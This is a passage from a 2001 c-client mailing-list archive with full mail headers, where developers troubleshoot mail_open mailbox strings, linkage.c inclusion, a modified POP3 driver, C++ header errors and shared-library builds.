(PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed Jun 13 23:52:21 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5E6qIC01562; Wed, 13 Jun 2001 23:52:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5E6q8p19762; Wed, 13 Jun 2001 23:52:08 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5E6oR062778 for ; Wed, 13 Jun 2001 23:50:27 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (allos@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5E6oQF03231 for ; Wed, 13 Jun 2001 23:50:26 -0700 Message-Id: Date: Wed, 13 Jun 2001 23:50:21 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Sushmita Roy Cc: c-client@u.washington.edu Subject: Re: c-client library capability In-Reply-To: <002901c0f3bc$9306ee00$2e05a8c0@intranet.pspl.co.in> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 13 Jun 2001, Sushmita Roy wrote: > Can the C-client library fetch a complete message > (headers + body) from an IMAP server. Yes. mail_fetch_message(). > I don't want to > fetch the message in parts (mime body parts). Why? > There is > also some mime encoding/decoding related code, is this > used for decoding the messages received from an imap or > pop server ? POP, yes; IMAP, no. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Jun 14 11:19:16 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Jun 2001 11:19:15 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5EIJED08051 for ; Thu, 14 Jun 2001 11:19:15 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu Jun 14 11:19:13 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5EIJBu26570; Thu, 14 Jun 2001 11:19:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5EIImp26904; Thu, 14 Jun 2001 11:18:49 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5EIHe095674 for ; Thu, 14 Jun 2001 11:17:40 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5EIHeK30958 for ; Thu, 14 Jun 2001 11:17:40 -0700 Received: from mis2.centigram.com ([199.35.49.130]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5EIHdu26515 for ; Thu, 14 Jun 2001 11:17:39 -0700 Received: from notes.centigram.com (notes.centigram.com [146.71.203.208]) by mis2.centigram.com (8.9.1/8.9.1) with SMTP id LAA01463 for ; Thu, 14 Jun 2001 11:17:33 -0700 (PDT) Received: by notes.centigram.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 88256A6B.0064EF34 ; Thu, 14 Jun 2001 11:22:28 -0700 Message-Id: <88256A6B.0064ED39.00@notes.centigram.com> Date: Thu, 14 Jun 2001 11:21:56 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: manjula_hullatti@adc.com To: c-client@CAC.Washington.EDU Subject: Re: mailbox format Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Lotus-FromDomain: CENTIGRAM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, I tried including the linkage.h file in my test program and ran it. I still get the same error. Here is my program --------------------------------------------------------------------------- ------------------------------------------- #include #include extern "C" { #include "mail.h" #include "/vob/adcsj/3prty/cclient/c-client/linkage.h" #include "rfc822.h" #include "misc.h" #include "env.h" #include "fs.h" #include "nl.h" #include "pop3.h" #include "ftl.h" } int main() { MAILSTREAM* stream; char user[10], mailbox[30]; int j; sprintf(mailbox, "{%s/%s}","bilbo.centigram.com","pop3"); // strcat(mailbox, "INBOX"); stream = mail_open(NIL, mailbox, OP_DEBUG); if(!stream) { printf("pop3 session open failed for %s\n\r", mailbox) ; return(0); } printf("pop3 session opened for %s\n\r", mailbox) ; mail_close(stream); } --------------------------------------------------------------------------- ------------------------------------------------------- Here is the error message [ccLog] ?Can't open mailbox {bilbo.centigram.com/pop3}: invalid remote specification pop3 session open failed for {bilbo.centigram.com/pop3} --------------------------------------------------------------------------- ----------------------------------------------------------- I tried debugging the program. It seems that the factory is being assigned to maildrivers in mail_valid function which is being called from mail_open. But the maildrivers itself is NIL. Regards, Manjula |--------+------------------------> | | Mark Crispin | | | | | | | | | 06/13/2001 | | | 08:27 PM | | | | |--------+------------------------> >------------------------------------------------| | | | To: manjula_hullatti@adc.com | | cc: c-client@CAC.Washington.EDU, | | (bcc: Manjula Hullatti/US/Centigram) | | Subject: Re: mailbox format | >------------------------------------------------| On Mon, 11 Jun 2001 manjula_hullatti@adc.com wrote: > What is the format of mailbox string passed while doing mail_open ? > I tried giving it as {bilbo.centigram.com:110}INBOX and I'm getting an > error > [ccLog] ?Can't open mailbox {bilbo.centigram.com:110}INBOX: invalid remote > specification Did you "#include " in your main program? I bet that you did not. Nothing will work unless you include the linkage! In any case, that specification won't work since it will try to open an IMAP connection on the POP3 port. You need "/pop3" instead of ":110". -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Jun 14 12:27:31 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Jun 2001 12:27:30 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5EJRRD28680 for ; Thu, 14 Jun 2001 12:27:28 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu Jun 14 12:27:26 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5EJROC21148; Thu, 14 Jun 2001 12:27:24 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5EJR0H18648; Thu, 14 Jun 2001 12:27:00 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5EJJJ0114912 for ; Thu, 14 Jun 2001 12:19:19 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5EJJJF12575 for ; Thu, 14 Jun 2001 12:19:19 -0700 Received: from sm10.texas.rr.com (sm10.texas.rr.com [24.93.35.222]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5EJJIC20854 for ; Thu, 14 Jun 2001 12:19:18 -0700 Received: from reality.internal (cs6668189-68.austin.rr.com [66.68.189.68]) by sm10.texas.rr.com (8.12.0.Beta5/8.12.0.Beta5) with SMTP id f5EJImu3017030 for ; Thu, 14 Jun 2001 14:18:48 -0500 Message-Id: <01061414203106.00519@reality.internal> Date: Thu, 14 Jun 2001 14:20:31 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Hollis To: c-client@CAC.Washington.EDU Subject: Re: linkage.c In-Reply-To: <88256A6B.0064ED39.00@notes.centigram.com> References: <88256A6B.0064ED39.00@notes.centigram.com> Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN (My previous message to the list bounced.) On Thursday 14 June 2001 14:21, manjula_hullatti@adc.com wrote: > > I tried including the linkage.h file in my test program and ran it. > I still get the same error. It's the .c file that's the important part. > Here is my program > --------------------------------------------------------------------------- > ------------------------------------------- > #include > #include > > extern "C" { > #include "mail.h" > #include "/vob/adcsj/3prty/cclient/c-client/linkage.h" ^^ delete that > #include "rfc822.h" > #include "misc.h" > #include "env.h" > #include "fs.h" > #include "nl.h" > #include "pop3.h" > #include "ftl.h" > } > > int main() > { > MAILSTREAM* stream; > char user[10], mailbox[30]; > int j; > > sprintf(mailbox, "{%s/%s}","bilbo.centigram.com","pop3"); > // strcat(mailbox, "INBOX"); (Insert:) /********* include a .c file... **********/ #include "c-client/linkage.c" /*****************************************/ (Now you can mail_open just about anything.) > stream = mail_open(NIL, mailbox, OP_DEBUG); > if(!stream) > { > printf("pop3 session open failed for %s\n\r", mailbox) ; > return(0); > } > > printf("pop3 session opened for %s\n\r", mailbox) ; > > mail_close(stream); > > } -Hollis From pinedev@shivax2.cac.washington.edu Thu Jun 14 12:43:49 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Jun 2001 12:43:49 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5EJhlD00511 for ; Thu, 14 Jun 2001 12:43:48 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu Jun 14 12:43:46 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5EJhiC21643; Thu, 14 Jun 2001 12:43:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5EJhVE21338; Thu, 14 Jun 2001 12:43:31 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5EJSx036716 for ; Thu, 14 Jun 2001 12:29:29 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5EJSxF15567 for ; Thu, 14 Jun 2001 12:28:59 -0700 Received: from mis2.centigram.com ([199.35.49.130]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5EJSxu29564 for ; Thu, 14 Jun 2001 12:28:59 -0700 Received: from notes.centigram.com (notes.centigram.com [146.71.203.208]) by mis2.centigram.com (8.9.1/8.9.1) with SMTP id MAA02868; Thu, 14 Jun 2001 12:17:56 -0700 (PDT) Received: by notes.centigram.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 88256A6B.006A7821 ; Thu, 14 Jun 2001 12:22:55 -0700 Message-Id: <88256A6B.006A766D.00@notes.centigram.com> Date: Thu, 14 Jun 2001 12:22:24 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: manjula_hullatti@adc.com To: Mark Crispin , c-client@CAC.Washington.EDU Subject: Re: mailbox format Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Lotus-FromDomain: CENTIGRAM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, I tried with linkage.c included in my test program. I still have the same problem. This time while debugging I noticed the following. --------------------------------------------------------------------------- ----------------------------------------------------- 1) mail_link called first. void mail_link(DRIVER *driver) ============================= (dbx) print maildrivers maildrivers = (nil) (dbx) print &maildrivers &maildrivers = 0xb9ed0 (dbx) print *maildrivers reference through nil pointer (dbx) print driver driver = 0xba60c (dbx) print *driver *driver = { name = 0xbc2a4 "msgfiledriver" flags = 6U next = (nil) valid = 0x5c650 = &msgfiledriver_valid() parameters = 0x5cee8 = &msgfiledriver_parameters() scan = 0x5cf70 = &msgfiledriver_scan() list = 0x5cfd8 = &msgfiledriver_list() lsub = 0x5d030 = &msgfiledriver_lsub() subscribe = (nil) unsubscribe = (nil) create = 0x5d088 = &msgfiledriver_create() mbxdel = 0x5d4f8 = &msgfiledriver_delete() mbxren = 0x5d550 = &msgfiledriver_rename() status = (nil) open = 0x5d9e8 = &msgfiledriver_open() close = 0x5e1d8 = &msgfiledriver_close() fast = (nil) msgflags = (nil) overview = (nil) structure = (nil) header = 0x5e2c8 = &msgfiledriver_header() text = 0x5e7c0 = &msgfiledriver_text() msgdata = (nil) uid = (nil) msgno = (nil) flag = (nil) flagmsg = 0x5efc0 = &msgfiledriver_flagmsg() search = (nil) sort = (nil) thread = (nil) ping = 0x5f060 = &msgfiledriver_ping() check = 0x5f278 = &msgfiledriver_check() expunge = 0x5f3c0 = &msgfiledriver_expunge() copy = 0x5f698 = &msgfiledriver_copy() append = 0x5fe90 = &msgfiledriver_append() gc = (nil) } (dbx) (dbx) print d d = 0xb9ed0 (dbx) print *d *d = (nil) (dbx) print **d reference through nil pointer AFTER *d = driver ================ (dbx) print *d *d = 0xba60c 2) auth_link called 3) auth_link called 4) mail_open called from my program MAILSTREAM *mail_open (MAILSTREAM *stream,char *name,long options) ================================================================== 5) mail_open calls mail_valid DRIVER *mail_valid (MAILSTREAM *stream,char *mailbox,char *purpose) =================================================================== (dbx) print mailbox mailbox = 0xeffff46a "{bilbo.centigram.com/pop3}" (dbx) print purpose purpose = 0xbab00 "open mailbox" (dbx) print stream stream = (nil) (dbx) print maildrivers maildrivers = 0xba60c (dbx) print *maildrivers *maildrivers = { name = 0xbc2a4 "msgfiledriver" flags = 6U next = (nil) valid = 0x5c650 = &msgfiledriver_valid() parameters = 0x5cee8 = &msgfiledriver_parameters() scan = 0x5cf70 = &msgfiledriver_scan() list = 0x5cfd8 = &msgfiledriver_list() lsub = 0x5d030 = &msgfiledriver_lsub() subscribe = (nil) unsubscribe = (nil) create = 0x5d088 = &msgfiledriver_create() mbxdel = 0x5d4f8 = &msgfiledriver_delete() mbxren = 0x5d550 = &msgfiledriver_rename() status = (nil) open = 0x5d9e8 = &msgfiledriver_open() close = 0x5e1d8 = &msgfiledriver_close() fast = (nil) msgflags = (nil) overview = (nil) structure = (nil) header = 0x5e2c8 = &msgfiledriver_header() text = 0x5e7c0 = &msgfiledriver_text() msgdata = (nil) uid = (nil) msgno = (nil) flag = (nil) flagmsg = 0x5efc0 = &msgfiledriver_flagmsg() search = (nil) sort = (nil) thread = (nil) ping = 0x5f060 = &msgfiledriver_ping() check = 0x5f278 = &msgfiledriver_check() expunge = 0x5f3c0 = &msgfiledriver_expunge() copy = 0x5f698 = &msgfiledriver_copy() append = 0x5fe90 = &msgfiledriver_append() gc = (nil) } (dbx) print factory factory = (nil) Since the factory is still NIL, it prints the error message [ccLog] ?Can't open mailbox {bilbo.centigram.com/pop3}: invalid remote specification --------------------------------------------------------------------------- ----------------------------------------------------------- Regards, Manjula |--------+-----------------------> | | Mark Crispin | | | | | | | | | 06/14/2001 | | | 11:23 AM | | | | |--------+-----------------------> >------------------------------------------------| | | | To: manjula_hullatti@adc.com | | cc: (bcc: Manjula | | Hullatti/US/Centigram) | | Subject: Re: mailbox format | >------------------------------------------------| I did not say linkage.h. You do not need to include linkage.h. Remove that include. You do, however, need to include linkage.c. Remember that I said: > Did you "#include " in your main program? I bet that you > did not. Nothing will work unless you include the linkage! It needs to be very early in your main() function, e.g.: int main() { MAILSTREAM* stream; char user[10], mailbox[30]; int j; #include "linkage.c" sprintf(mailbox, "{%s/%s}","bilbo.centigram.com","pop3"); From pinedev@shivax2.cac.washington.edu Thu Jun 14 13:04:41 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Jun 2001 13:04:40 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5EK4dD16040 for ; Thu, 14 Jun 2001 13:04:39 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu Jun 14 13:04:39 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5EK4ZC22314; Thu, 14 Jun 2001 13:04:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5EK49E23080; Thu, 14 Jun 2001 13:04:09 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5EJe4017092 for ; Thu, 14 Jun 2001 12:40:04 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5EJe3F18827 for ; Thu, 14 Jun 2001 12:40:03 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (wml@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5EJe3C21539 for ; Thu, 14 Jun 2001 12:40:03 -0700 Message-Id: Date: Thu, 14 Jun 2001 12:37:56 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: manjula_hullatti@adc.com Cc: c-client@CAC.Washington.EDU Subject: Re: mailbox format In-Reply-To: <88256A6B.006A766D.00@notes.centigram.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You are apparently using a modified version of c-client. There is no such thing as "msgfiledriver" in the standard version of c-client. Since you are using a modified version of c-client, I can not help you any further. The problem is in the modification to c-client; it appears that whomever did the modification delete the POP3 support. The original, unmodified version of c-client is on: ftp://ftp.cac.washington.edu/mail/imap.tar.Z From pinedev@shivax2.cac.washington.edu Thu Jun 14 22:40:20 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Jun 2001 22:40:19 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5F5eID11510 for ; Thu, 14 Jun 2001 22:40:18 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu Jun 14 22:40:17 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5F5eFC05876; Thu, 14 Jun 2001 22:40:15 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5F5e6p23740; Thu, 14 Jun 2001 22:40:06 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5F5cn0128166 for ; Thu, 14 Jun 2001 22:38:49 -0700 Received: from www.pspl.co.in (www.pspl.co.in [202.54.11.65]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5F5cms19469 for ; Thu, 14 Jun 2001 22:38:48 -0700 Received: from mobor (gateway.pspl.co.in [203.199.147.2]) by www.pspl.co.in (8.11.0/8.11.0) with SMTP id f5F5ciI21457; Fri, 15 Jun 2001 11:08:44 +0530 Message-Id: <006f01c0f55e$7431b700$2e05a8c0@intranet.pspl.co.in> Date: Fri, 15 Jun 2001 11:15:57 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Sushmita Roy" To: "Mark Crispin" Cc: Subject: C-Client on other platforms MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_006C_01C0F58C.8D1A1FE0" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_006C_01C0F58C.8D1A1FE0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, I want to use the c-client library for "imap" support in an embedded system. The system is going to run on a HardHat Linux Box. I wanted to know if there are any known issues on such platforms, especially since there is an explicit folder "osdep" which contains OS specific files. Has the c-client library been used in any other embedded system before. Are there any points which should be considered while selecting c-client for "imap" support on an embedded system ? Thanks and Regards Sushmita ------=_NextPart_000_006C_01C0F58C.8D1A1FE0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hi,

       I want to use = the c-client=20 library for
    "imap" support in an embedded system. The
    system is = going to=20 run on a HardHat Linux
    Box.

    I wanted to know if there are any=20 known
    issues on such platforms, especially since
    there is an = explicit=20 folder "osdep" which
    contains OS specific files. Has the = c-client
    library=20 been used in any other embedded
    system before. Are there any points=20 which
    should be considered while selecting c-client
    for "imap" = support on=20 an embedded system ?

    Thanks and=20 Regards
    Sushmita
    ------=_NextPart_000_006C_01C0F58C.8D1A1FE0-- From pinedev@shivax2.cac.washington.edu Fri Jun 15 02:08:40 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 15 Jun 2001 02:08:39 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5F98cD01848 for ; Fri, 15 Jun 2001 02:08:39 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Fri Jun 15 02:08:38 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5F98Uu18604; Fri, 15 Jun 2001 02:08:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5F98Ip17576; Fri, 15 Jun 2001 02:08:18 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5F96d0100076 for ; Fri, 15 Jun 2001 02:06:39 -0700 Received: from www.pspl.co.in (www.pspl.co.in [202.54.11.65]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5F96cs11000 for ; Fri, 15 Jun 2001 02:06:38 -0700 Received: from jalna (gateway.pspl.co.in [203.199.147.2]) by www.pspl.co.in (8.11.0/8.11.0) with SMTP id f5F96dI27092; Fri, 15 Jun 2001 14:36:39 +0530 Message-Id: <01061507121301.05093@jalna> Date: Fri, 15 Jun 2001 07:12:13 -0200 Reply-To: sachin@pspl.co.in Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Sachin O. Agrawal" To: c-client@u.washington.edu Cc: sachin@pspl.co.in Subject: Using c-client in c++ Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I got following errors while including "mail.h" in a c++ source file. ../c-client/mail.h:646: semicolon missing after struct declaration ../c-client/mail.h:646: parse error before `private' ../c-client/mail.h:924: semicolon missing after struct declaration ../c-client/mail.h:924: global anonymous unions must be declared static ../c-client/mail.h:924: parse error before `private' Any idea about what compiler flags are required for this???? -- Thanks & Regards --Sachin -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jun 15 04:29:38 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 15 Jun 2001 04:29:37 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5FAw5D26058 for ; Fri, 15 Jun 2001 03:58:24 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Fri Jun 15 02:23:50 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5F9Nmu18856; Fri, 15 Jun 2001 02:23:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5F9NaX27078; Fri, 15 Jun 2001 02:23:37 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5F9Mg046382 for ; Fri, 15 Jun 2001 02:22:43 -0700 Received: from www.pspl.co.in (www.pspl.co.in [202.54.11.65]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5F9MfK08914 for ; Fri, 15 Jun 2001 02:22:41 -0700 Received: from jalna (gateway.pspl.co.in [203.199.147.2]) by www.pspl.co.in (8.11.0/8.11.0) with SMTP id f5F9MgI27539; Fri, 15 Jun 2001 14:52:42 +0530 Message-Id: <01061507281602.05093@jalna> Date: Fri, 15 Jun 2001 07:28:16 -0200 Reply-To: sachin@pspl.co.in Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Sachin O. Agrawal" To: c-client@u.washington.edu Cc: sachin@pspl.co.in Subject: Building c-client as a shared library Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, Currently on successful build of "c-client" library, a static library "c-client.a" gets created. Does anyone know what changes are required in the makefile to get a shared library for Linux??? -- Thanks & Regards --Sachin -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jun 15 04:29:39 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 15 Jun 2001 04:29:39 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5FAuID30665 for ; Fri, 15 Jun 2001 03:56:43 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Fri Jun 15 03:06:57 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5FA6tC10816; Fri, 15 Jun 2001 03:06:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5FA6lX27368; Fri, 15 Jun 2001 03:06:47 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5FA5K033834 for ; Fri, 15 Jun 2001 03:05:21 -0700 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5FA5JK12256 for ; Fri, 15 Jun 2001 03:05:19 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.11.3/jtpda-5.3.3) with ESMTP id f5FA5Iu19201 for ; Fri, 15 Jun 2001 12:05:18 +0200 (CEST) Received: from 